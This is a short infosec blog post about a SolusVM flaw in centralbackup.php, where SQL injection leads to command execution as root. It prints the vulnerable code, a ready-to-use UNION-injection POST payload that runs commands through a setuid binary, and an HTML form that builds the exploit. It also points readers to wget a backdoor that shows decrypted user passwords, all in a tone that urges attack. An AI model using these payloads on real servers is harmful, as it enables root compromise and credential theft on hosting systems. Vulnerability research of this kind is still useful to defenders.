localhost
Random ramblings from someone working in InfoSec

contact me@localhost.re
archive - rss
2013/06/16

lolololo

Starting this post with that image seemed appropiate. This one is really easy and lots of servers use this crap called SolusVM.

/centralbackup.php:

<?php
if ($_POST['delete']) {
    $xc = $db -> query('SELECT * FROM centralbackup WHERE id = \'' . $_POST['deleteid'] . '\'', true);
    #[...]
    if ($xc[status] == 'failed') {
           exec('php /usr/local/solusvm/system/bus.php -- --comm=deletebackup --serverid=' . $xc['bserver'] . ' --nodeid=' . $vdata['nodeid'] . ' --vserverid=' . $vdata['vserverid'] . ' --filename=' . $xc['filename']);
    #[...]
    }
 }
?>

So what do we have here? SQL Injection? yup! exec()? yup! vulnerable binary that sets setuid to 0? yup!

Let's exploit this, shall we? It's easy, I promise! 3 easy steps!

  • Get yourself an active user with an active VM
  • Log in, click on the VM, copy the GET _v value
  • POST to /centralbackup.php?_v=[value]

delete=1&deleteid=-1' union select 0,0,0,0,0,'failed',';/usr/local/solusvm/core/solusvmc-node --ebtables ";command to run as root";',0#

Or just use this fancy HTML form:

<html><body>
    <script>
    function construct() {
        var sql='-1\' union select 0,0,0,0,0,\'failed\',\';/usr/local/solusvm/core/solusvmc-node --ebtables ";'+document.forms['form']['deleteid'].value+'";\',0#';
        document.forms['form']['deleteid'].value=sql;
        return true;
    }
    </script>
    <form name='form' method='post' action='http://CHANGE_ME:5353/centralbackup.php?_v=CHANGE_ME' onsubmit="return construct();">
    <input type='hidden' name='delete' value='1'>
    CMD: <input type='text' name='deleteid' size='100'>
    <br><input type='submit'>
    </form>
</body></html>

And, as a bonus, here's something to help you pwn. Just wget it to /usr/local/solusvm/www/rofl.php

It can run a command on all nodes, show decrypted passwords for all the users, etc.

go go go

Have fun!